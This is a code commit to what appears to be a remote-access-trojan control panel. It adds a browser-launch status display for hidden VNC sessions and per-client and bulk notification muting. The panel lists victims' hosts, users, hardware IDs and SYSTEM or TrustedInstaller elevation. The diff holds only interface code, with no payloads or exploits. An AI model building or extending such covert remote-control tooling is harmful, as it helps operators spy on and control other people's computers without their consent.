hvnc status and muting users.
This commit is contained in:
@@ -382,6 +382,47 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
}
|
||||
}
|
||||
|
||||
const launchStatusEl = document.getElementById("launchStatus");
|
||||
const launchStatusIcon = document.getElementById("launchStatusIcon");
|
||||
const launchStatusLabel = document.getElementById("launchStatusLabel");
|
||||
let launchHideTimer = null;
|
||||
|
||||
function handleBrowserLaunchStatus(msg) {
|
||||
if (!launchStatusEl) return;
|
||||
if (launchHideTimer) {
|
||||
clearTimeout(launchHideTimer);
|
||||
launchHideTimer = null;
|
||||
}
|
||||
launchStatusEl.classList.remove("hidden");
|
||||
launchStatusEl.classList.add("flex");
|
||||
|
||||
const browser = msg.browser || "browser";
|
||||
const step = msg.step || "";
|
||||
const detail = msg.detail || "";
|
||||
|
||||
if (!msg.success) {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-xmark text-rose-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
launchStatusLabel.className = "text-rose-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 15000);
|
||||
} else if (step === "launch") {
|
||||
launchStatusIcon.className = "fa-solid fa-circle-check text-emerald-400";
|
||||
launchStatusLabel.textContent = `${browser}: ${detail}`;
|
||||
launchStatusLabel.className = "text-emerald-300";
|
||||
launchHideTimer = setTimeout(() => {
|
||||
launchStatusEl.classList.add("hidden");
|
||||
launchStatusEl.classList.remove("flex");
|
||||
}, 8000);
|
||||
} else {
|
||||
launchStatusIcon.className = "fa-solid fa-spinner fa-spin text-sky-400";
|
||||
launchStatusLabel.textContent = `${browser} ${step}: ${detail}`;
|
||||
launchStatusLabel.className = "text-sky-300";
|
||||
}
|
||||
}
|
||||
|
||||
function handleBrowserCheckResult(msg) {
|
||||
if (!msg.browsers || !contextMenu) return;
|
||||
contextMenu.querySelectorAll("[data-browser]").forEach((btn) => {
|
||||
@@ -883,6 +924,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
@@ -922,6 +967,10 @@ import { createKeyboardCapture } from "./keyboard-capture.js";
|
||||
handleDXGIStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_browser_launch_status") {
|
||||
handleBrowserLaunchStatus(msg);
|
||||
return;
|
||||
}
|
||||
if (msg && msg.type === "hvnc_error") {
|
||||
console.error("hvnc: server error:", msg.error || msg.message);
|
||||
return;
|
||||
|
||||
@@ -2251,6 +2251,7 @@ tbody tr:hover {
|
||||
.cv-pill-admin { background: rgba(234, 179, 8, 0.12); color: #fde68a; border-color: rgba(234, 179, 8, 0.3); }
|
||||
.cv-pill-system { background: rgba(239, 68, 68, 0.12); color: #fca5a5; border-color: rgba(239, 68, 68, 0.3); }
|
||||
.cv-pill-ti { background: rgba(168, 85, 247, 0.12); color: #d8b4fe; border-color: rgba(168, 85, 247, 0.3); }
|
||||
.cv-pill-muted { background: rgba(245, 158, 11, 0.12); color: #fcd34d; border-color: rgba(245, 158, 11, 0.3); }
|
||||
|
||||
.cv-group {
|
||||
display: inline-flex;
|
||||
|
||||
@@ -39,6 +39,8 @@ const bulkDisconnectBtn = document.getElementById("bulk-disconnect");
|
||||
const bulkUninstallBtn = document.getElementById("bulk-uninstall");
|
||||
const bulkClearBtn = document.getElementById("bulk-clear");
|
||||
const bulkGroupBtn = document.getElementById("bulk-group");
|
||||
const bulkMuteBtn = document.getElementById("bulk-mute");
|
||||
const bulkUnmuteBtn = document.getElementById("bulk-unmute");
|
||||
const serverVersionText = document.getElementById("server-version-text");
|
||||
const selectedClients = new Set();
|
||||
let lastNonOnlineStatus = "all";
|
||||
@@ -593,7 +595,9 @@ function initializeRenderer() {
|
||||
pageLabel,
|
||||
openMenu: (id, x, y) => {
|
||||
applyMenuSupportRules(id);
|
||||
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id) });
|
||||
const card = getClientCard(id);
|
||||
const notificationsMuted = card?.dataset.notificationsMuted === "true";
|
||||
openMenu(id, x, y, setContext, { isOnline: isClientOnline(id), notificationsMuted });
|
||||
loadPluginsForClient(id);
|
||||
},
|
||||
openModal,
|
||||
@@ -896,6 +900,39 @@ bulkGroupBtn?.addEventListener("click", () => {
|
||||
openBulkGroupPicker([...selectedClients]);
|
||||
});
|
||||
|
||||
async function bulkSetMuted(muted) {
|
||||
if (selectedClients.size === 0) return;
|
||||
const ids = [...selectedClients];
|
||||
try {
|
||||
const res = await fetch("/api/clients/bulk-notifications-muted", {
|
||||
method: "PATCH",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ clientIds: ids, muted }),
|
||||
});
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
alert(data.error || "Failed to update notifications mute state");
|
||||
return;
|
||||
}
|
||||
const data = await res.json().catch(() => ({}));
|
||||
const action = muted ? "Muted" : "Unmuted";
|
||||
alert(`${action} notifications for ${data.updated ?? 0}/${ids.length} clients`);
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert("Failed to update notifications mute state");
|
||||
return;
|
||||
}
|
||||
selectedClients.clear();
|
||||
document
|
||||
.querySelectorAll(".client-checkbox")
|
||||
.forEach((cb) => (cb.checked = false));
|
||||
updateBulkToolbar();
|
||||
setTimeout(() => loadWithOptions({ force: true }), 200);
|
||||
}
|
||||
|
||||
bulkMuteBtn?.addEventListener("click", () => bulkSetMuted(true));
|
||||
bulkUnmuteBtn?.addEventListener("click", () => bulkSetMuted(false));
|
||||
|
||||
async function openBulkGroupPicker(clientIds) {
|
||||
const groups = await loadGroups();
|
||||
|
||||
@@ -1066,6 +1103,27 @@ window.setClientTag = async (clientId, tag, note) => {
|
||||
}
|
||||
};
|
||||
|
||||
window.setClientNotificationsMuted = async (clientId, muted) => {
|
||||
if (!clientId) return false;
|
||||
try {
|
||||
const res = await fetch(`/api/clients/${clientId}/notifications-muted`, {
|
||||
method: "PATCH",
|
||||
headers: { "Content-Type": "application/json" },
|
||||
body: JSON.stringify({ muted: !!muted }),
|
||||
});
|
||||
if (!res.ok) {
|
||||
const data = await res.json().catch(() => ({}));
|
||||
alert(data.error || "Failed to update notification mute state");
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
} catch (err) {
|
||||
console.error(err);
|
||||
alert("Failed to update notification mute state");
|
||||
return false;
|
||||
}
|
||||
};
|
||||
|
||||
window.setClientGroup = async (clientId, groupId) => {
|
||||
if (!clientId) return false;
|
||||
try {
|
||||
@@ -1447,6 +1505,13 @@ menu.addEventListener("click", async (e) => {
|
||||
closeMenu(clearContext);
|
||||
openGroupPicker(savedClientId);
|
||||
return;
|
||||
} else if (action === "toggle-mute") {
|
||||
const card = getClientCard(contextCard);
|
||||
const currentlyMuted = card?.dataset.notificationsMuted === "true";
|
||||
const ok = await window.setClientNotificationsMuted(contextCard, !currentlyMuted);
|
||||
if (ok) setTimeout(() => loadWithOptions({ force: true }), 200);
|
||||
closeMenu(clearContext);
|
||||
return;
|
||||
}
|
||||
|
||||
if (!isClientOnline(contextCard)) {
|
||||
|
||||
@@ -408,7 +408,7 @@ export function createRenderer({
|
||||
}
|
||||
|
||||
function cardDigest(c) {
|
||||
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}`;
|
||||
return `${currentLayout}|${c.id}|${!!c.online}|${c.lastSeen}|${c.pingMs}|${c.host}|${c.user}|${c.os}|${c.arch}|${c.version}|${c.monitors}|${c.thumbnail}|${c.country}|${c.nickname}|${c.customTag}|${c.customTagNote}|${!!c.bookmarked}|${!!c.isAdmin}|${c.elevation}|${c.cpu}|${c.gpu}|${c.ram}|${c.hwid}|${c.disconnectReason}|${c.disconnectDetail}|${c.groupId}|${c.groupName}|${c.groupColor}|${!!c.notificationsMuted}`;
|
||||
}
|
||||
|
||||
function renderMerge(data, options = {}) {
|
||||
@@ -506,6 +506,7 @@ export function createRenderer({
|
||||
el.dataset.nickname = String(client.nickname || "");
|
||||
el.dataset.customTag = String(client.customTag || "");
|
||||
el.dataset.bookmarked = String(!!client.bookmarked);
|
||||
el.dataset.notificationsMuted = String(!!client.notificationsMuted);
|
||||
el.dataset.admin = String(!!client.isAdmin);
|
||||
el.dataset.groupId = String(client.groupId || "");
|
||||
el.dataset.groupName = String(client.groupName || "");
|
||||
@@ -626,6 +627,7 @@ export function createRenderer({
|
||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||
</div>
|
||||
<div class="cv-user-line"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}</div>
|
||||
<div class="cv-meta-line">${meta}</div>
|
||||
@@ -696,6 +698,7 @@ export function createRenderer({
|
||||
${client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : ""}
|
||||
${client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : ""}
|
||||
${client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TI"><i class="fa-solid fa-lock"></i></span>` : ""}
|
||||
${client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : ""}
|
||||
</span>
|
||||
<span class="cv-user-line cv-mono"><i class="fa-solid fa-user"></i> ${escapeHtml(userLine)}${client.ip ? `<span class="cv-mid">·</span><i class="fa-solid fa-network-wired"></i> ${escapeHtml(client.ip)}` : ""}</span>
|
||||
</div>
|
||||
@@ -752,6 +755,7 @@ export function createRenderer({
|
||||
client.isAdmin ? `<span class="cv-mini-pill cv-pill-admin" title="Admin"><i class="fa-solid fa-shield-halved"></i></span>` : "",
|
||||
client.elevation === "system" ? `<span class="cv-mini-pill cv-pill-system" title="SYSTEM"><i class="fa-solid fa-gear"></i></span>` : "",
|
||||
client.elevation === "trustedinstaller" ? `<span class="cv-mini-pill cv-pill-ti" title="TrustedInstaller"><i class="fa-solid fa-lock"></i></span>` : "",
|
||||
client.notificationsMuted ? `<span class="cv-mini-pill cv-pill-muted" title="Notifications muted"><i class="fa-solid fa-bell-slash"></i></span>` : "",
|
||||
].join("");
|
||||
|
||||
article.innerHTML = `
|
||||
|
||||
@@ -45,6 +45,7 @@ const MENU_GROUPS = [
|
||||
{ label: "Set Nickname", icon: "fa-solid fa-signature", icolor: "text-slate-300", action: "set-nickname" },
|
||||
{ label: "Set Custom Tag", icon: "fa-solid fa-tag", icolor: "text-slate-300", action: "set-custom-tag" },
|
||||
{ label: "Set Group", icon: "fa-solid fa-layer-group", icolor: "text-blue-300", action: "set-group" },
|
||||
{ label: "Mute Notifications", icon: "fa-solid fa-bell-slash", icolor: "text-amber-300", action: "toggle-mute" },
|
||||
{ divider: true },
|
||||
{ label: "Elevate (macOS)", icon: "fa-solid fa-arrow-up-right-dots", icolor: "text-green-400", action: "elevate" },
|
||||
{ divider: true },
|
||||
@@ -371,6 +372,19 @@ export function openMenu(clientId, x, y, setContext, options = {}) {
|
||||
removeBtn.style.display = options.isOnline === true ? "none" : "";
|
||||
}
|
||||
|
||||
const muteBtn = menu.querySelector('[data-action="toggle-mute"]');
|
||||
if (muteBtn) {
|
||||
const icon = muteBtn.querySelector("i");
|
||||
const label = muteBtn.querySelector("span");
|
||||
if (options.notificationsMuted) {
|
||||
if (label) label.textContent = "Unmute Notifications";
|
||||
if (icon) icon.className = "fa-solid fa-bell ctx-icon text-emerald-300";
|
||||
} else {
|
||||
if (label) label.textContent = "Mute Notifications";
|
||||
if (icon) icon.className = "fa-solid fa-bell-slash ctx-icon text-amber-300";
|
||||
}
|
||||
}
|
||||
|
||||
// Reset submenu state
|
||||
hideSubmenu();
|
||||
|
||||
|
||||
@@ -104,6 +104,13 @@
|
||||
<i id="dxgiStatusIcon" class="fa-solid fa-microchip text-emerald-400"></i>
|
||||
<span id="dxgiStatusLabel">DXGI</span>
|
||||
</div>
|
||||
<div
|
||||
id="launchStatus"
|
||||
class="hidden items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm"
|
||||
>
|
||||
<i id="launchStatusIcon" class="fa-solid fa-rocket text-sky-400"></i>
|
||||
<span id="launchStatusLabel" class="text-slate-300">Launching...</span>
|
||||
</div>
|
||||
<div
|
||||
class="flex items-center gap-2 bg-slate-900/70 border border-slate-800 rounded-lg px-3 py-2 text-sm text-slate-300"
|
||||
>
|
||||
|
||||
@@ -182,6 +182,18 @@
|
||||
>
|
||||
<i class="fa-solid fa-layer-group"></i> Set Group
|
||||
</button>
|
||||
<button
|
||||
id="bulk-mute"
|
||||
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-amber-300 border border-amber-900/40 transition-colors"
|
||||
>
|
||||
<i class="fa-solid fa-bell-slash"></i> Mute Notifications
|
||||
</button>
|
||||
<button
|
||||
id="bulk-unmute"
|
||||
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-emerald-300 border border-emerald-900/40 transition-colors"
|
||||
>
|
||||
<i class="fa-solid fa-bell"></i> Unmute Notifications
|
||||
</button>
|
||||
<button
|
||||
id="bulk-clear"
|
||||
class="px-3 py-2 rounded-lg bg-slate-800/70 hover:bg-slate-700/70 text-slate-400 border border-slate-600/60 transition-colors"
|
||||
|
||||
Reference in New Issue
Block a user